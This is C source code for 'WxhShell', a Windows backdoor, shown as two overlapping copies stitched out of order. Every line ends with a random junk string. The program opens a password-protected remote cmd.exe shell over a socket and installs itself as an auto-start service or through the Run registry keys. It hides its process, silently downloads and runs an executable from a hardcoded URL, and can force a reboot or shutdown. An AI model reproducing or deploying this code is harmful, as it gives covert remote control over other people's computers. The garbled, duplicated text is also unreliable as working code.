    if(Boot(SHUTDOWN)) |Pi! UZB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `!Yd$=*c_&  
    else { .,F`*JVFq  
    closesocket(wsh);  ) fQ1U  
    ExitThread(0); Z ygu/M 6  
    } N;gY5;0m  
    break; 3 #"!Hg  
    } M;9s  
  // 获取shell Z rv:uEl  
  case 's': { d9up! k  
    CmdShell(wsh); :!ablO~  
    closesocket(wsh); H3L uRGe&2  
    ExitThread(0);  ZvwU  
    break; |y pX O3  
  } Ot`znJU@  
  // 退出 0.)q5B`  
  case 'x': { ]=ADX}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -9Dr;2\  
    CloseIt(wsh); ?Wc+ J4  
    break; u|LDN*#DW  
    } %n 6NVi_[  
  // 离开 8([ MR  
  case 'q': { BbiyyRa  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (67byO{  
    closesocket(wsh); /cT6X]o8  
    WSACleanup(); z*B?Hw),  
    exit(1); mLx=Zes:.  
    break; #p ;O3E@  
        } %JgdLnQE  
  } !yd ]~t 5Q  
  } /_qHF-  
w'E(9gV  
  // 提示信息 C]Y%dQh+a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e+V8I&%  
} D|*yeS4>  
  } 1R;@v3  
&u~Pp=kv  
  return; 'E&tEbY  
} sY4q$Fq  
UVXSW*$  
// shell模块句柄 H32o7]lT  
int CmdShell(SOCKET sock) ]&N>F8.L+  
{ XOLE=zdSp  
STARTUPINFO si; I{h KN V  
ZeroMemory(&si,sizeof(si)); hw.>HT|.N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YUHiD *  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~KRS0 ^  
PROCESS_INFORMATION ProcessInfo; c/igw+L()  
char cmdline[]="cmd"; 1$+8wDVwad  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I\x9xJ4x  
  return 0; JEaTDV_  
} &_u.q/~   
Oxa8ue?  
// 自身启动模式 e`:^7$  
int StartFromService(void) Q6wa-Y,  
{ :Nv7Wt!  
typedef struct Oet+$ b  
{ vQ]d?Tp  
  DWORD ExitStatus; <_ENC>NP  
  DWORD PebBaseAddress; TEh.?  
  DWORD AffinityMask; :w!hkUx#  
  DWORD BasePriority; rlGv6)vb  
  ULONG UniqueProcessId; ' ,S}X\  
  ULONG InheritedFromUniqueProcessId; [sjkm+ ?  
}   PROCESS_BASIC_INFORMATION; vS)>g4  
g8l6bh$}  
PROCNTQSIP NtQueryInformationProcess; 7~F~'V  
Mm(#N/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nJGs,~"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #\ `kg#&  
s5rD+g]E`  
  HANDLE             hProcess; |35OA/O?X  
  PROCESS_BASIC_INFORMATION pbi; 8Y.9%@  
NPS*0y/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WubV?NX;EF  
  if(NULL == hInst ) return 0; `CH,QT7e  
0#Lmajs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,`k&9o7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BV`\6SM~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b0YEIV<$  
W>i"p~!  
  if (!NtQueryInformationProcess) return 0; q[C?1Kc .z  
g_`a_0v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); * 70 ZAo4  
  if(!hProcess) return 0; Z#L4n#TT  
^a_a%ws  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IlB8~{p_  
xE w\'tH  
  CloseHandle(hProcess); [#q]B=JB  
[)1vKaC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n\l?+)S *  
if(hProcess==NULL) return 0; j&oRj6;Ha+  
Cp mT *  
HMODULE hMod; sqtz^K ROM  
char procName[255]; 0Zi+x#&d  
unsigned long cbNeeded; Lr D@QBT  
=uH2+9.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HyU:BW;  
e5>'H!)  
  CloseHandle(hProcess); kuy?n-1g  
7!pKlmQ  
if(strstr(procName,"services")) return 1; // 以服务启动 z'_Fg0kR{  
:86:U 0^  
  return 0; // 注册表启动 _E`+0;O  
} ^0}ma*gi~  
.{h"0<x  
// 主模块 Td|u@l4B  
int StartWxhshell(LPSTR lpCmdLine) TXmS$q   
{ WC`h+SC`.  
  SOCKET wsl; ]`|$nU}v  
BOOL val=TRUE; 0bDc 4m  
  int port=0; [3G{NC|'  
  struct sockaddr_in door; >8"Svt$  
>bh+!5Y0  
  if(wscfg.ws_autoins) Install(); G XVx/) H  
#f2k*8"eAF  
port=atoi(lpCmdLine); ,G t!nm_  
bTc >-e,  
if(port<=0) port=wscfg.ws_port; FN-/~Su~J  
V| 97;  
  WSADATA data; }} =n]_f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1@}F8&EZ  
p2Ep(0w,R5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xo_STLAw  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {r&mNbz  
  door.sin_family = AF_INET; Uz^N6q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \5r^D|Rp}  
  door.sin_port = htons(port); -[7+g  
@-!P1]V|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Yub}AuU`v  
closesocket(wsl); #c^]p/  
return 1; rUb{iU;~m  
} Q"XDxa'7"  
E(r_mF7:  
  if(listen(wsl,2) == INVALID_SOCKET) { |q*yuK/  
closesocket(wsl); sm/a L^4  
return 1; [`\VgKeu  
} )[Tm[o?Y.  
  Wxhshell(wsl); L7C ;l,ot  
  WSACleanup(); c| ^I}  
nHdQe  
return 0; lFBpNUnzU  
1&=)Bxg4  
} lvke!~#  
k<<x}=  
// 以NT服务方式启动 3CoZ2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wXQxZuk[  
{ MbRTOH  
DWORD   status = 0; O k`}\NZL  
  DWORD   specificError = 0xfffffff; W@T \i2r$z  
`}Zqmfs  
  serviceStatus.dwServiceType     = SERVICE_WIN32; RpivO,   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l )%PvLbL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }(nT(9|  
  serviceStatus.dwWin32ExitCode     = 0; H9*k(lnz`  
  serviceStatus.dwServiceSpecificExitCode = 0; E!9WZY  
  serviceStatus.dwCheckPoint       = 0; a2Ak?W1  
  serviceStatus.dwWaitHint       = 0; }4|EHhG  
L kK *.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iW` tr  
  if (hServiceStatusHandle==0) return; '=_(fa,  
LiG$M{0  
status = GetLastError(); {18hzhs  
  if (status!=NO_ERROR) Jl{ 0q7b  
{ eY<<Hld  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i>Q!5  
    serviceStatus.dwCheckPoint       = 0; DDeU:  
    serviceStatus.dwWaitHint       = 0; \d@5*q  
    serviceStatus.dwWin32ExitCode     = status; lfgJQzi G  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0g?)j-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G}nJ3  
    return; 53i]Q;k[  
  } _SBbd9  
2&1mI>:F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E8PDIjp  
  serviceStatus.dwCheckPoint       = 0; {MgRi 7  
  serviceStatus.dwWaitHint       = 0; /|?$C7%a\D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K[z)ts-  
} (4YLUN&1O$  
T9nb ~ P[  
// 处理NT服务事件,比如:启动、停止 [}L~zn6>?a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &QHJ%c  
{ sO .MUj;  
switch(fdwControl) y!FO  
{ FLi'}C  
case SERVICE_CONTROL_STOP: :G _  
  serviceStatus.dwWin32ExitCode = 0; "hk# pQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P 9?cp{*  
  serviceStatus.dwCheckPoint   = 0; oZBD.s  
  serviceStatus.dwWaitHint     = 0; c*IrZm  
  { CRb*sfKDL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u$T]A8e  
  } )3h\QE!z  
  return; BSm"]!D8*  
case SERVICE_CONTROL_PAUSE: a-NTA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PT/Nz+  
  break; :;{M0  
case SERVICE_CONTROL_CONTINUE: JS/'0.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y'2|E+*V  
  break; <[dcIw<7  
case SERVICE_CONTROL_INTERROGATE: H*W>v[>  
  break; f?5>V   
}; dFz"wvu` o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tguB@,O  
} noWF0+ %  
j`_S%E%X  
// 标准应用程序主函数 6W i n!4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F6\{gQ<E  
{ ]1 f^ SxSI  
{$frR "K  
// 获取操作系统版本 JxVGzb`8  
OsIsNt=GetOsVer(); zhn ?;Fi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &da=hc,>%  
GHv6UIe&  
  // 从命令行安装 # -'A =j  
  if(strpbrk(lpCmdLine,"iI")) Install(); ('&lAn  
%-n) L  
  // 下载执行文件 l(>6Yq  
if(wscfg.ws_downexe) { j )J |'b|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ? }HK!feU  
  WinExec(wscfg.ws_filenam,SW_HIDE); i~u4v3r=  
} xFu ,e  
pCKP{c=6Q  
if(!OsIsNt) { ^6W}ZLp  
// 如果时win9x,隐藏进程并且设置为注册表启动 I5"wa:Z  
HideProc(); ^+(5[z  
StartWxhshell(lpCmdLine); Q>1BOH1by  
} SEgw!2H  
else <nk|Z'G E  
  if(StartFromService()) ;$D,w  
  // 以服务方式启动 iK}p#"si  
  StartServiceCtrlDispatcher(DispatchTable); KsULQJ#,  
else C*Q7@+&  
  // 普通方式启动 :C5w5 Vnj  
  StartWxhshell(lpCmdLine); !Rv ;~f/2  
5IU!BQU  
return 0; //@6w;P  
} 0+\725DJ  
gPMR,TU  
88?bUA3]  
Z`-$b~0  
=========================================== ?1=.scmgDG  
k{vj,#  
 +/B  
?N{\qF1Mz  
}3z3GU8Q-  
X'OpR   
" k0Vri$x  
J jAxNviG  
#include <stdio.h> WuK<?1meN  
#include <string.h> V!:!c]8F  
#include <windows.h> e:G~P u`  
#include <winsock2.h> > .wZEQ6QK  
#include <winsvc.h> 3Zp<#  
#include <urlmon.h> t 24`*'  
Qa2h#0j  
#pragma comment (lib, "Ws2_32.lib") }IygU 6{G  
#pragma comment (lib, "urlmon.lib") Dw i-iA_q  
'aNkU  
#define MAX_USER   100 // 最大客户端连接数 Pt"K+]Ym  
#define BUF_SOCK   200 // sock buffer h8V*$  
#define KEY_BUFF   255 // 输入 buffer ,:Px(=d4  
Yn?beu'  
#define REBOOT     0   // 重启 1Ek3^TOv7  
#define SHUTDOWN   1   // 关机 u7e$Mq  
VxY]0&sq  
#define DEF_PORT   5000 // 监听端口 3,p!Fun:r  
m=}h7&5p  
#define REG_LEN     16   // 注册表键长度 *~8F.c x  
#define SVC_LEN     80   // NT服务名长度 >nkVZ;tL  
FG${w.e<  
// 从dll定义API z83v J*.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a?gF;AYk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~gX1n9_n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uyX % &r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?8 }pZ_j  
aR2N,<Cp5  
// wxhshell配置信息 x}2nn)fdZ  
struct WSCFG { SkDr4kds  
  int ws_port;         // 监听端口 @!iS`u  
  char ws_passstr[REG_LEN]; // 口令 Ug*B[q/  
  int ws_autoins;       // 安装标记, 1=yes 0=no  ~&~4{  
  char ws_regname[REG_LEN]; // 注册表键名 c|<F8 n  
  char ws_svcname[REG_LEN]; // 服务名 hNc8uV{r=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 CVO_F=;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xa`xHh{0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (^yaAy#4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :>!-[hfQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" APl]EV" l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 QN8+Uj/zx  
% Z6Q/+#fn  
}; 7nPg2K&  
59nRk}^$se  
// default Wxhshell configuration ]*NYuEgc  
struct WSCFG wscfg={DEF_PORT, i&DbZ=n2  
    "xuhuanlingzhe", 72$S'O%,0  
    1, 1V,@uY)s  
    "Wxhshell", fDr$Wcd~  
    "Wxhshell", '6zZ`Ll9  
            "WxhShell Service", hT^&*}G  
    "Wrsky Windows CmdShell Service", :}_hz )  
    "Please Input Your Password: ", ?q6#M&|j/I  
  1, =Ji[ ;wy@  
  "http://www.wrsky.com/wxhshell.exe", .$~3RjM  
  "Wxhshell.exe" i?^L",[  
    }; 2wpJ)t*PF  
1tbA-+  
// 消息定义模块 q&=z^Ln!G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3nBZ+n4z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; p7\LLJ y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]2u   
char *msg_ws_ext="\n\rExit."; 0=,Nz  
char *msg_ws_end="\n\rQuit."; X !h>13fW  
char *msg_ws_boot="\n\rReboot..."; !$98 U~L  
char *msg_ws_poff="\n\rShutdown..."; { {?-& yA  
char *msg_ws_down="\n\rSave to "; w!UF^~  
KY&Lv^1_|  
char *msg_ws_err="\n\rErr!"; h`U-{VIrqi  
char *msg_ws_ok="\n\rOK!"; 7bYwh8  
9o,Eq x4J  
char ExeFile[MAX_PATH]; 2:Yvr_L  
int nUser = 0; Zwq\m.h  
HANDLE handles[MAX_USER]; emQc%wd{  
int OsIsNt; DWtITO>  
RV]#Bg*[#  
SERVICE_STATUS       serviceStatus; >-c?+oy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p+g=Z<?`  
i7)J|(N2.  
// 函数声明 1{/Cr K/o  
int Install(void); cQ1[x>OcU  
int Uninstall(void); #;99vwc  
int DownloadFile(char *sURL, SOCKET wsh); e oE)Mq  
int Boot(int flag); l!gX-U%-  
void HideProc(void); VMABj\yG  
int GetOsVer(void); T=/c0#Q|q  
int Wxhshell(SOCKET wsl); -f?  
void TalkWithClient(void *cs); .+(ED  
int CmdShell(SOCKET sock); vcW(?4e  
int StartFromService(void); `(j~b=PP  
int StartWxhshell(LPSTR lpCmdLine); @V>]95RX  
EkV#i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .hckZx /  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n-K/d I  
!>'A2V~F  
// 数据结构和表定义 8nZ_.  
SERVICE_TABLE_ENTRY DispatchTable[] = nt"\FZ*;3  
{ Fr50hrtkU  
{wscfg.ws_svcname, NTServiceMain}, mfj%-)l9  
{NULL, NULL} `i|!wD,=\  
}; ")9^  
w nBvJb]4l  
// 自我安装 j#3IF *"  
int Install(void) }!xc@  
{ MMO/vJC  
  char svExeFile[MAX_PATH]; WUau KRR.  
  HKEY key; %>/&&(BE  
  strcpy(svExeFile,ExeFile); xj D$i'V+  
K:e[#b8 :R  
// 如果是win9x系统,修改注册表设为自启动 S*n5d>;  
if(!OsIsNt) { !d 4DTo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^KD1dy3(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x [vb i  
  RegCloseKey(key); n?c[ E+i;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #"oLz"{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i<$?rB!i<1  
  RegCloseKey(key); qsEFf(9G  
  return 0; k]AL\) &W  
    } Zk~Pq%u  
  } 6W:]'L4!  
}  Hxy=J  
else { tSni[,4Kq  
[c;0eFSi2  
// 如果是NT以上系统,安装为系统服务 ;>/Mal  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mS}.?[d"  
if (schSCManager!=0) 1Z?uT[kR  
{ oNYFbZw  
  SC_HANDLE schService = CreateService Vo[.^0  
  ( cSv;HN:  
  schSCManager, E3{kH 7_'\  
  wscfg.ws_svcname, Vug[q=i  
  wscfg.ws_svcdisp, 'I}wN5`  
  SERVICE_ALL_ACCESS, H`k YDp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v6wg,,T  
  SERVICE_AUTO_START, >B``+ Z^2  
  SERVICE_ERROR_NORMAL, `*0VN(gf'  
  svExeFile, UdcV<#  
  NULL, t(vyi  
  NULL, \' zloBU  
  NULL, Jj0:p"  
  NULL, \d.\M  
  NULL 'ahz@+l O  
  ); vz3olHX  
  if (schService!=0) jZ"j_ =o@  
  { #zgO_ H  
  CloseServiceHandle(schService); Mig l  
  CloseServiceHandle(schSCManager); DD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CX2qtI8N?  
  strcat(svExeFile,wscfg.ws_svcname); FQ 0 ;%Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K[?@nl?,z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Wc m'E3c,  
  RegCloseKey(key); }!r pH{y  
  return 0; ~Hd *Xl  
    } g/FT6+&T.  
  } Kc@Sw{JR#7  
  CloseServiceHandle(schSCManager); ~-G_c=E?  
} +2p}KpOsL  
} eVX/<9>  
Rxr?T-  
return 1; eu]qgtg~U  
} a6A~,68/V  
3&"uf9d  
// 自我卸载 9:3`LY3wW  
int Uninstall(void) ew,okRCN  
{ UHk)!P>  
  HKEY key; NBBR>3nt  
;jQ^8 S  
if(!OsIsNt) { Ps(oxj7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fGA#0/_`  
  RegDeleteValue(key,wscfg.ws_regname); y"8,jm  
  RegCloseKey(key); Xwu&K8q21  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j%ZBAk)}  
  RegDeleteValue(key,wscfg.ws_regname); eNH9`Aa  
  RegCloseKey(key); #}Xsi&:XU  
  return 0; \|B\7a'4  
  } U|QP] 6v  
} q-@&n6PEOZ  
} p Djt\R<f  
else { y\CxdTs  
-s)h ?D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wSM(!:on5  
if (schSCManager!=0) ?I+$KjE+  
{ 6Hy_7\$(-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L?M x"  
  if (schService!=0) e]dFNunFq0  
  { Nw"?~"bo  
  if(DeleteService(schService)!=0) { ;;C2t&(  
  CloseServiceHandle(schService); uvR l`"Y  
  CloseServiceHandle(schSCManager); *c%{b3T_  
  return 0; F|'u0JQ)$  
  } j B1ZF#  
  CloseServiceHandle(schService); nWK7*  
  } >Y\?v-^~;  
  CloseServiceHandle(schSCManager); iv],:|Mbd  
} f<oU" WM  
} 3 _!MVT  
9@mvG^  
return 1; .r-Zz3  
} U KTfLh  
Nq6; z)$  
// 从指定url下载文件 @)!N{x?  
int DownloadFile(char *sURL, SOCKET wsh) %<p/s;eu  
{ W1LR ,:$  
  HRESULT hr;  M_%c9g@x  
char seps[]= "/"; IAN={";p  
char *token; Wi,)a{  
char *file; RE D@|[Qh  
char myURL[MAX_PATH]; Xx2t0AIB  
char myFILE[MAX_PATH]; MZWv#;.]  
'qG-)2 t  
strcpy(myURL,sURL); *5hbD-a:  
  token=strtok(myURL,seps); zMO#CZ t  
  while(token!=NULL) -0]%#(E%`h  
  { Hr7pcz/#l  
    file=token; , )TnIByM  
  token=strtok(NULL,seps); 8GjETq%}  
  } ][#|5UK8L  
|QR9#Iv  
GetCurrentDirectory(MAX_PATH,myFILE); a({N}ZDo  
strcat(myFILE, "\\"); Bga4kjfmk  
strcat(myFILE, file); ,&fZo9J9  
  send(wsh,myFILE,strlen(myFILE),0); vSv1FZu*  
send(wsh,"...",3,0); \!w |  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t. (6tL]  
  if(hr==S_OK) ^j10 f$B  
return 0; Mc(|+S@w'  
else 3J/l>1[  
return 1; z!.cc6R  
zKaj<Og  
} bC) <K/Q9  
rce._w }  
// 系统电源模块 a"t~ K  
int Boot(int flag) 4%_xT o  
{ .!i`YT*jF  
  HANDLE hToken; >,_0Mem2Rr  
  TOKEN_PRIVILEGES tkp; 8$Zwk7 w8A  
m~P30)  
  if(OsIsNt) { =w"Kkj>%oh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); / ;[x3}[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JR&yaOws  
    tkp.PrivilegeCount = 1; 5v`lCu]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :)T*:51{#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8K8jz9.s  
if(flag==REBOOT) { cnw+^8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?Pf#~U_  
  return 0; c9c3o{(6Y  
} )~ &gBX  
else { ab.B?bx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \j BA4?(S  
  return 0; 0@y`iZ] 1S  
} Q00v(6V46  
  } :(" @U,  
  else { nII#uI /!q  
if(flag==REBOOT) { ]w$cqUhM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \d]Y#j<  
  return 0; 2m*/$GZ  
} BSJS4+,E  
else { Dfc% jWbA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2+C:Em0yI  
  return 0; ;4GGXT++L  
} f4F%\ "  
} >msQ@Ch  
3c(mZ   
return 1; Br42Qo2"T>  
} VN\VTSZh?\  
rl$"~/ oz  
// win9x进程隐藏模块 :O,r3O6  
void HideProc(void) CF\wR;6k  
{ ;_|4c7  
jt9- v-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U}k@%m,  
  if ( hKernel != NULL ) 7sWe32  
  { |-S+x]9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H!OX1F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Iu5 9W >  
    FreeLibrary(hKernel); 8t) g fSG  
  } 1w7XM0SHcn  
b?lRada{I  
return; N7 hlM  
} \7#w@3*  
^e ;9_(  
// 获取操作系统版本 V8&'dhuG  
int GetOsVer(void) Qb55q`'z  
{ ~{-Ka>A  
  OSVERSIONINFO winfo; ])%UZM6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h|`R[  
  GetVersionEx(&winfo); 0E,QOF{o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fR+{gazk n  
  return 1; Doq}UWp  
  else KhX)maQ  
  return 0; fE&s 6w&  
} nt-_)4Fm  
r:E4Wi{\  
// 客户端句柄模块 }[drR(]`dO  
int Wxhshell(SOCKET wsl) _8F;-7Sz  
{ C]l)Pz$  
  SOCKET wsh; bmi",UZ:F  
  struct sockaddr_in client; gy~2LY!}  
  DWORD myID; `-R&4%t%  
v}D0t]  
  while(nUser<MAX_USER) *QI Yq  
{ w Jp1Fl~  
  int nSize=sizeof(client); I|>.&nb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J7aYi]vI  
  if(wsh==INVALID_SOCKET) return 1; /me ]sOkn  
@p}_"BHYWt  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %hw4IcWJ|  
if(handles[nUser]==0) K IR3m )  
  closesocket(wsh); LpSF*xm  
else }|N88PN  
  nUser++; "!7Hu7  
  } *A8Et5HAv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l{ql'm  
 98^7pa  
  return 0; @]8flb )T  
} _3wK: T{:  
b`j9}t Z  
// 关闭 socket MLM/!N 7  
void CloseIt(SOCKET wsh) $>uUn3hSx\  
{ 4K dYiuz0`  
closesocket(wsh); >,'guaa  
nUser--; Y6hV ;[\F  
ExitThread(0); PApr8Xe  
} D^P0X:T]  
XqhrQU|wM  
// 客户端请求句柄 P>)J:.tr0  
void TalkWithClient(void *cs) r!eW]M  
{ 8t, &dq  
RW1+y/#%P  
  SOCKET wsh=(SOCKET)cs; v6Y[_1  
  char pwd[SVC_LEN]; rz-61A) _  
  char cmd[KEY_BUFF]; K`uPPyv  
char chr[1]; Nq\)o{<1  
int i,j; `.3.n8V  
&y|PseH"  
  while (nUser < MAX_USER) { H\E%.QIx  
?"<m{,yQI  
if(wscfg.ws_passstr) { *zDDi(@vtK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /-m)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c;-N RvVb  
  //ZeroMemory(pwd,KEY_BUFF); *B{]  
      i=0; 0T#z"l<L  
  while(i<SVC_LEN) { ,_w}\'?L  
*P]]7DR  
  // 设置超时 .d$Q5Qae  
  fd_set FdRead; '@w'(}3!3R  
  struct timeval TimeOut; \Ucv<S  
  FD_ZERO(&FdRead); cXf/  
  FD_SET(wsh,&FdRead); \-{$IC-L  
  TimeOut.tv_sec=8; 7bRfkKD  
  TimeOut.tv_usec=0; l,(:~KH|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k\*?<g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |;t{L^  
PNo:vRtsq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +|8.ymvm  
  pwd=chr[0]; ZG#:3d*)  
  if(chr[0]==0xd || chr[0]==0xa) { Vkd_&z7  
  pwd=0; KLVYWZib  
  break; x%goyXK  
  } %21|-B  
  i++; Lc[TIX  
    } 02%~HBS  
 iycceZ  
  // 如果是非法用户,关闭 socket }Y!s:w#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xN}f?  
} F1B/cd  
Q*1'k%7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @p^EXc*|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q _K@KB  
QJiH^KY6  
while(1) { x5pu+-h  
F$1{w"&  
  ZeroMemory(cmd,KEY_BUFF); a_{'I6a*,  
C!+PBk[9  
      // 自动支持客户端 telnet标准   tX1`/}``  
  j=0; O0`ofFN  
  while(j<KEY_BUFF) { AFvv+ ss  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5rCJIl.  
  cmd[j]=chr[0]; f? GoBh<  
  if(chr[0]==0xa || chr[0]==0xd) { $ve$Sq  
  cmd[j]=0; i[FYR;C  
  break; tSoF!@6  
  } y:$qX*+9e  
  j++; 9,\AAISi  
    } q+<,FdG  
,WnZ^R/n  
  // 下载文件 '/9MN;_  
  if(strstr(cmd,"http://")) { wxj}k7_(`A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QfPw50N;  
  if(DownloadFile(cmd,wsh)) g+QIhur  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `_ M+=*}  
  else 4oryTckS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V6((5o#  
  } 1uG)U)y/Q  
  else { `U\l: ~]e  
 ^4Xsdh5  
    switch(cmd[0]) { 45< gO1  
